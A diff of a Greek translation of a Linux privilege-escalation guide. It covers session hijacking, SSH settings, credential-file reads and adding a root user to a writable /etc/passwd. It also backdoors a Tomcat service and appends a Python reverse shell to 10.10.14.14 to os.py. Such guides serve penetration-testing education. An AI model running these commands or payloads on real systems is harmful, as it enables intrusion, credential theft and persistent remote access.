-1138,24 +1139,23 @@ execve(file,argv,0); ``` ## Δυνατότητες -Linux capabilities παρέχουν ένα **υποσύνολο των διαθέσιμων root προνομίων σε μια διεργασία**. Αυτό ουσιαστικά διασπά τα root **προνόμια σε μικρότερες και διακριτές μονάδες**. Κάθε μια από αυτές τις μονάδες μπορεί στη συνέχεια να παραχωρηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο το πλήρες σύνολο των προνομίων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\ -Read the following page to **learn more about capabilities and how to abuse them**: - +Linux capabilities παρέχουν ένα **υποσύνολο των διαθέσιμων προνομίων root σε μια διεργασία**. Αυτό ουσιαστικά διασπά τα προνόμια root σε **μικρότερες και διακριτές μονάδες**. Καθεμία από αυτές τις μονάδες μπορεί στη συνέχεια να χορηγηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο το πλήρες σύνολο προνομίων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\ +Διαβάστε την ακόλουθη σελίδα για να **μάθετε περισσότερα σχετικά με capabilities και πώς να τις εκμεταλλευτείτε**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Δικαιώματα καταλόγου -Σε έναν κατάλογο, το **bit για "execute"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" μέσα στο φάκελο.\ -Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να απαριθμήσει τα αρχεία, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να διαγράψει και να δημιουργήσει νέα αρχεία. +Σε έναν κατάλογο, το **bit για το "execute"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" στον φάκελο.\ +Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **απαριθμήσει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**. ## ACLs -Access Control Lists (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανό να **υπερισχύει των παραδοσιακών ugo/rwx δικαιωμάτων**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο πρόσβασης σε αρχείο ή κατάλογο επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας διασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αποτελούν το δευτερεύον επίπεδο δικαιωμάτων προαιρετικής φύσης, ικανό να **υπερισχύει των παραδοσιακών ugo/rwx δικαιωμάτων**. Αυτά τα δικαιώματα βελτιώνουν τον έλεγχο πρόσβασης σε αρχείο ή κατάλογο επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομερούς διαχείρισης εξασφαλίζει πιο ακριβή έλεγχο πρόσβασης**. Περισσότερες λεπτομέρειες μπορούν να βρεθούν [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Δώστε** στον χρήστη "kali" δικαιώματα read και write πάνω σε ένα αρχείο: +**Δώστε** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1166,10 +1166,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Άνοιγμα shell sessions +## Ανοιχτές shell συνεδρίες Σε **παλαιότερες εκδόσεις** μπορεί να **hijack** κάποια **shell** συνεδρία διαφορετικού χρήστη (**root**).\ -Σε **πιο πρόσφατες εκδόσεις** θα μπορείτε να **συνδεθείτε** σε screen sessions μόνο του **δικού σας χρήστη**. Ωστόσο, μπορεί να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. +Σε **νεότερες εκδόσεις** θα μπορείτε να **connect** μόνο σε screen sessions του **δικού σας χρήστη**. Ωστόσο, μπορεί να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. ### screen sessions hijacking @@ -1180,7 +1180,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Σύνδεση σε μια συνεδρία** +**Σύνδεση σε συνεδρία** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1188,9 +1188,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Αυτό ήταν ένα πρόβλημα με **παλιές εκδόσεις του tmux**. Δεν μπόρεσα να hijack ένα tmux (v2.1) session που δημιουργήθηκε από root ως non-privileged user. +Αυτό ήταν ένα πρόβλημα με **παλιές εκδόσεις του tmux**. Δεν μπόρεσα να hijack μια συνεδρία tmux (v2.1) που δημιουργήθηκε από root ως χρήστης χωρίς προνόμια. -**Λίστα tmux sessions** +**Λίστα συνεδριών tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1198,7 +1198,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Σύνδεση σε session** +**Συνδέσου σε session** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1208,83 +1208,83 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Δες **Valentine box from HTB** για ένα παράδειγμα. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Όλα τα SSL και SSH keys που δημιουργήθηκαν σε συστήματα βασισμένα σε Debian (Ubuntu, Kubuntu, κ.λπ.) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 ενδέχεται να επηρεάστηκαν από αυτό το bug.\ -Το bug προκαλείται κατά τη δημιουργία νέου ssh key σε αυτά τα OS, καθώς **μόνο 32,768 παραλλαγές ήταν δυνατές**. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και **έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Όλα τα SSL και SSH κλειδιά που δημιουργήθηκαν σε συστήματα βασισμένα σε Debian (Ubuntu, Kubuntu, κ.λπ.) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 μπορεί να έχουν επηρεαστεί από αυτό το bug.\ +Αυτό το bug προκαλείται κατά τη δημιουργία νέου ssh κλειδιού σε αυτά τα OS, καθώς **μόνο 32,768 παραλλαγές ήταν δυνατές**. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και **έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Ενδιαφέρουσες τιμές ρύθμισης +### SSH Interesting configuration values - **PasswordAuthentication:** Καθορίζει αν επιτρέπεται ο έλεγχος ταυτότητας με password. Η προεπιλογή είναι `no`. - **PubkeyAuthentication:** Καθορίζει αν επιτρέπεται ο έλεγχος ταυτότητας με public key. Η προεπιλογή είναι `yes`. -- **PermitEmptyPasswords**: Όταν επιτρέπεται το password authentication, καθορίζει αν ο server επιτρέπει σύνδεση σε λογαριασμούς με κενή συμβολοσειρά password. Η προεπιλογή είναι `no`. +- **PermitEmptyPasswords**: Όταν ο έλεγχος ταυτότητας με password επιτρέπεται, καθορίζει αν ο server επιτρέπει σύνδεση σε λογαριασμούς με κενές συμβολοσειρές κωδικών. Η προεπιλογή είναι `no`. ### PermitRootLogin -Καθορίζει αν ο root μπορεί να κάνει σύνδεση μέσω ssh, η προεπιλογή είναι `no`. Πιθανές τιμές: +Καθορίζει αν ο root μπορεί να συνδεθεί χρησιμοποιώντας ssh, η προεπιλογή είναι `no`. Πιθανά values: - `yes`: root μπορεί να συνδεθεί χρησιμοποιώντας password και private key - `without-password` or `prohibit-password`: root μπορεί να συνδεθεί μόνο με private key -- `forced-commands-only`: root μπορεί να συνδεθεί μόνο με private key και μόνο αν έχουν οριστεί οι επιλογές commands -- `no`: όχι +- `forced-commands-only`: Root μπορεί να συνδεθεί μόνο με private key και εάν έχουν καθοριστεί επιλογές για commands +- `no` : όχι ### AuthorizedKeysFile -Καθορίζει αρχεία που περιέχουν τα public keys που μπορούν να χρησιμοποιηθούν για user authentication. Μπορεί να περιέχει tokens όπως `%h`, που θα αντικατασταθούν από το home directory. **Μπορείτε να δηλώσετε absolute paths** (ξεκινώντας από `/`) ή **relative paths από το home του χρήστη**. Για παράδειγμα: +Καθορίζει αρχεία που περιέχουν τα public keys που μπορούν να χρησιμοποιηθούν για τον έλεγχο ταυτότητας χρηστών. Μπορεί να περιέχει tokens όπως `%h`, τα οποία θα αντικατασταθούν από τον κατάλογο home. **Μπορείτε να δηλώσετε απόλυτες διαδρομές** (που ξεκινούν με `/`) ή **σχετικές διαδρομές από το home του χρήστη**. Για παράδειγμα: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Αυτή η ρύθμιση θα δείξει ότι, αν προσπαθήσετε να κάνετε login με το **private** key του χρήστη "**testusername**", το ssh θα συγκρίνει το public key του κλειδιού σας με αυτά που βρίσκονται στα `/home/testusername/.ssh/authorized_keys` και `/home/testusername/access` +Αυτή η διαμόρφωση θα υποδείξει ότι αν προσπαθήσετε να συνδεθείτε με το **private** key του χρήστη "**testusername**", το ssh θα συγκρίνει το public key του κλειδιού σας με αυτά που βρίσκονται σε `/home/testusername/.ssh/authorized_keys` και `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding σας επιτρέπει να **use your local SSH keys instead of leaving keys** (without passphrases!) που μένουν στον server σας. Έτσι, θα μπορείτε να **jump** μέσω ssh **to a host** και από εκεί **jump to another** host **using** το **key** που βρίσκεται στον **initial host**. +Το SSH agent forwarding σας επιτρέπει να **use your local SSH keys instead of leaving keys** (without passphrases!) στον server σας. Έτσι, θα μπορείτε να **jump** via ssh **to a host** και από εκεί να **jump to another** host **using** το **key** που βρίσκεται στον **initial host**. -Πρέπει να ορίσετε αυτή την επιλογή στο `$HOME/.ssh.config` ως εξής: +Πρέπει να ορίσετε αυτήν την επιλογή στο `$HOME/.ssh.config` ως εξής: ``` Host example.com ForwardAgent yes ``` -Σημειώστε ότι αν `Host` είναι `*`, κάθε φορά που ο χρήστης συνδέεται σε διαφορετική μηχανή, αυτός ο host θα μπορεί να έχει πρόσβαση στα keys (κάτι που αποτελεί ζήτημα ασφάλειας). +Σημειώστε ότι αν `Host` είναι `*` κάθε φορά που ο χρήστης μεταβαίνει σε διαφορετική μηχανή, αυτή η host θα μπορεί να έχει πρόσβαση στα keys (κάτι που αποτελεί ζήτημα ασφάλειας). -Το αρχείο `/etc/ssh_config` μπορεί να **παρακάμψει** αυτές τις **επιλογές** και να επιτρέψει ή να απαγορεύσει αυτή τη ρύθμιση.\ -Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **απαγορεύσει** το ssh-agent forwarding με τη λέξη-κλειδί `AllowAgentForwarding` (προεπιλογή: allow). +Το αρχείο `/etc/ssh_config` μπορεί να **παρακάμψει** αυτές τις **επιλογές** και να επιτρέψει ή να αρνηθεί αυτή τη ρύθμιση.\ +Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **απορρίψει** το ssh-agent forwarding με το keyword `AllowAgentForwarding` (default is allow). -Αν βρείτε ότι το Forward Agent είναι ρυθμισμένο σε ένα περιβάλλον, διαβάστε την παρακάτω σελίδα καθώς **μπορεί να το εκμεταλλευτείτε για να κλιμακώσετε προνόμια**: +Αν βρείτε ότι το Forward Agent είναι διαμορφωμένο σε ένα περιβάλλον, διαβάστε την παρακάτω σελίδα καθώς **you may be able to abuse it to escalate privileges**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Σημαντικά Αρχεία +## Ενδιαφέροντα Αρχεία -### Αρχεία προφίλ +### Αρχεία profile -Το αρχείο `/etc/profile` και τα αρχεία κάτω από `/etc/profile.d/` είναι **scripts που εκτελούνται όταν ένας χρήστης ανοίγει ένα νέο shell**. Επομένως, αν μπορείτε να **γράψετε ή να τροποποιήσετε οποιοδήποτε από αυτά, μπορείτε να κλιμακώσετε προνόμια**. +Το αρχείο `/etc/profile` και τα αρχεία κάτω από `/etc/profile.d/` είναι **σενάρια που εκτελούνται όταν ένας χρήστης ανοίγει ένα νέο shell**. Επομένως, αν μπορείτε να **γράψετε ή να τροποποιήσετε οποιοδήποτε από αυτά you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` Αν βρεθεί κάποιο περίεργο profile script, πρέπει να το ελέγξετε για **ευαίσθητες πληροφορίες**. -### Passwd/Shadow Files +### Αρχεία Passwd/Shadow -Ανάλογα με το OS τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να χρησιμοποιούν διαφορετικό όνομα ή να υπάρχει κάποιο αντίγραφο ασφαλείας. Επομένως συνιστάται να **τα εντοπίσετε όλα** και να **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: +Ανάλογα με το λειτουργικό σύστημα, τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να έχουν διαφορετικό όνομα ή να υπάρχει αντίγραφο ασφαλείας. Επομένως, συνιστάται **να τα βρείτε όλα** και **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο `/etc/passwd` (ή σε αντίστοιχο αρχείο). +Σε ορισμένες περιπτώσεις μπορείς να βρεις **password hashes** μέσα στο `/etc/passwd` (ή σε αντίστοιχο αρχείο) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Εγγράψιμο /etc/passwd +### Writable /etc/passwd Πρώτα, δημιούργησε ένα password με μία από τις παρακάτω εντολές. ``` @@ -1292,48 +1292,41 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Δεν μου δώσατε το περιεχόμενο του αρχείου src/linux-hardening/privilege-escalation/README.md. Στείλτε το περιεχόμενο εδώ ή επικολλήστε το README ώστε να το μεταφράσω στα Ελληνικά σύμφωνα με τις οδηγίες σας. - -Επίσης διευκρινίστε αν θέλετε: -- Να προσθέσω στο μεταφρασμένο README ένα παράδειγμα εντολών για να δημιουργηθεί ο χρήστης `hacker` με έναν δημιουργημένο κωδικό (θα παράσχω μόνο τις εντολές και τον κωδικό — δεν μπορώ να εκτελέσω εντολές στο σύστημά σας), ή -- Να εμφανίσω απλώς τον κωδικό και τις εντολές εδώ ξεχωριστά. - -Περιμένετε το περιεχόμενο του README και την επιλογή σας για το πώς θέλετε να προστεθεί ο χρήστης. +Στη συνέχεια, προσθέστε τον χρήστη `hacker` και τον δημιουργημένο κωδικό πρόσβασης. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Π.χ.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Π.χ: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Μπορείτε τώρα να χρησιμοποιήσετε την εντολή `su` με `hacker:hacker` -Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε έναν ψεύτικο χρήστη χωρίς κωδικό πρόσβασης.\ -ΠΡΟΕΙΔΟΠΟΙΗΣΗ: μπορεί να υποβαθμίσετε την τρέχουσα ασφάλεια της μηχανής. +Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε έναν ψεύτικο λογαριασμό χρήστη χωρίς κωδικό πρόσβασης.\ ΠΡΟΕΙΔΟΠΟΙΗΣΗ: μπορεί να μειώσετε την τρέχουσα ασφάλεια του μηχανήματος. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το `/etc/passwd` βρίσκεται στο `/etc/pwd.db` και στο `/etc/master.passwd`, επίσης το `/etc/shadow` μετονομάζεται σε `/etc/spwd.db`. +ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το `/etc/passwd` βρίσκεται στα `/etc/pwd.db` και `/etc/master.passwd`, επίσης το `/etc/shadow` μετονομάστηκε σε `/etc/spwd.db`. -Πρέπει να ελέγξετε αν μπορείτε να **γράψετε σε κάποια ευαίσθητα αρχεία**. Για παράδειγμα, μπορείτε να γράψετε σε κάποιο **service configuration file**; +Πρέπει να ελέγξεις αν μπορείς να **γράψεις σε κάποια ευαίσθητα αρχεία**. Για παράδειγμα, μπορείς να γράψεις σε κάποιο **αρχείο ρυθμίσεων υπηρεσίας**; ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Για παράδειγμα, αν το μηχάνημα τρέχει έναν **tomcat** server και μπορείτε να **modify the Tomcat service configuration file inside /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις παρακάτω γραμμές: +Για παράδειγμα, αν το μηχάνημα τρέχει έναν **tomcat** διακομιστή και μπορείτε να **τροποποιήσετε το αρχείο ρύθμισης της υπηρεσίας Tomcat μέσα στο /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει ο tomcat. +Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει το tomcat. ### Έλεγχος φακέλων -Οι παρακάτω φάκελοι ενδέχεται να περιέχουν αντίγραφα ασφαλείας ή ενδιαφέρουσες πληροφορίες: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Πιθανότατα δεν θα μπορείτε να διαβάσετε τον τελευταίο, αλλά προσπαθήστε) +Οι ακόλουθοι φάκελοι μπορεί να περιέχουν αντίγραφα ασφαλείας ή ενδιαφέρουσες πληροφορίες: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Πιθανότατα δεν θα μπορείτε να διαβάσετε τον τελευταίο, αλλά δοκιμάστε) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Περίεργη Τοποθεσία/Owned files +### Παράξενη τοποθεσία/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1350,7 +1343,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Αρχεία που τροποποιήθηκαν τα τελευταία λεπτά +### Τροποποιημένα αρχεία τα τελευταία λεπτά ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1366,7 +1359,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Σενάρια/Δυαδικά στο PATH** +### **Script/Binaries στο PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1384,18 +1377,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης -Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **αρκετά πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\ -**Άλλο ένα ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε για αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών πρόσβασης αποθηκευμένων σε έναν τοπικό υπολογιστή για Windows, Linux & Mac. +Διάβασε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ψάχνει για **πολλά πιθανά αρχεία που μπορεί να περιέχουν κωδικούς πρόσβασης**.\ +**Ένα ακόμα ενδιαφέρον εργαλείο** που μπορείς να χρησιμοποιήσεις για αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) η οποία είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών πρόσβασης αποθηκευμένων σε έναν τοπικό υπολογιστή για Windows, Linux & Mac. -### Logs +### Καταγραφές -Αν μπορείτε να διαβάσετε logs, μπορεί να καταφέρετε να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα τους**. Όσο πιο περίεργο είναι το log, τόσο πιο ενδιαφέρον θα είναι (πιθανότατα).\ -Επίσης, κάποια **bad** ρυθμισμένα (backdoored?) **audit logs** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα στα audit logs όπως εξηγείται σε αυτό το άρθρο: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. +Αν μπορείς να διαβάσεις καταγραφές, μπορεί να καταφέρεις να βρεις **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτές**. Όσο πιο περίεργη είναι η καταγραφή, τόσο πιθανότερο είναι να είναι ενδιαφέρουσα.\ +Επίσης, κάποια **"bad"** ρυθμισμένα (backdoored?) **audit logs** μπορεί να σου επιτρέψουν να **καταγράψεις κωδικούς πρόσβασης** μέσα στα audit logs όπως εξηγείται σε αυτήν την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Για να **διαβάσετε τα logs, η ομάδα** [**adm**](interesting-groups-linux-pe/index.html#adm-group) θα είναι πολύ χρήσιμη. +Για να **διαβάσετε logs, η ομάδα** [**adm**](interesting-groups-linux-pe/index.html#adm-group) θα είναι πολύ χρήσιμη. ### Shell files ```bash @@ -1410,41 +1403,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -Θα πρέπει επίσης να ελέγχετε για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** τους ή μέσα στο **περιεχόμενο**, και επίσης να ελέγχετε για IPs και emails μέσα σε logs, ή hashes regexps.\ -Δεν πρόκειται να απαριθμήσω εδώ πώς να κάνετε όλα αυτά αλλά αν ενδιαφέρεστε μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Πρέπει επίσης να ελέγξεις για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** τους ή μέσα στο **περιεχόμενο**, και επίσης να ελέγξεις για IPs και emails μέσα σε logs, ή regexps για hashes. +Δεν θα απαριθμήσω εδώ πώς να κάνεις όλα αυτά, αλλά αν σε ενδιαφέρει μπορείς να δεις τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Αρχεία με δικαίωμα εγγραφής +## Εγγράψιμα αρχεία ### Python library hijacking -Αν ξέρετε από **πού** πρόκειται να εκτελεστεί ένα python script και **μπορείτε να γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε python libraries**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη os και να την backdoor it (αν μπορείτε να γράψετε όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py). +Αν γνωρίζεις από **πού** θα εκτελεστεί ένα python script και **μπορείς να γράψεις** σε αυτόν τον φάκελο ή **να τροποποιήσεις python libraries**, μπορείς να τροποποιήσεις τη βιβλιοθήκη OS και να την backdoor (αν μπορείς να γράψεις εκεί όπου θα εκτελεστεί το python script, αντιγράψτε/επικολλήστε τη βιβλιοθήκη os.py). -Για να **backdoor the library** απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την ακόλουθη γραμμή (αλλάξτε IP και PORT): +Για να **backdoor the library** απλά πρόσθεσε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (αλλάξτε IP και PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Εκμετάλλευση logrotate +### Logrotate exploitation -Μία ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς καταλόγους του να αποκτήσουν ενδεχομένως αυξημένα προνόμια. Αυτό συμβαίνει γιατί το `logrotate`, που συχνά τρέχει ως **root**, μπορεί να χειραγωγηθεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται η περιστροφή αρχείων καταγραφής. +Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή τους γονικούς καταλόγους του ενδεχομένως να αποκτήσουν αυξημένα προνόμια. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά τρέχει ως **root**, μπορεί να χειραγωγηθεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται η περιστροφή αρχείων καταγραφής. > [!TIP] -> Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες +> Αυτή η ευπάθεια επηρεάζει `logrotate` version `3.18.0` and older -Περισσότερες λεπτομέρειες για την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Περισσότερες λεπτομέρειες σχετικά με την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με [**logrotten**](https://github.com/whotwagner/logrotten). -Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε κάθε φορά που διαπιστώνετε ότι μπορείτε να τροποποιήσετε logs, ελέγξτε ποιος τα διαχειρίζεται και δείτε αν μπορείτε να αποκτήσετε αυξημένα προνόμια αντικαθιστώντας τα logs με symlinks. +Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε κάθε φορά που διαπιστώνετε ότι μπορείτε να τροποποιήσετε logs, ελέγξτε ποιος διαχειρίζεται αυτά τα logs και ελέγξτε αν μπορείτε να αποκτήσετε αυξημένα προνόμια αντικαθιστώντας τα logs με symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Αν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **γράψει** ένα script `ifcf-` στο _/etc/sysconfig/network-scripts_ **ή** να **τροποποιήσει** ένα υπάρχον, τότε το 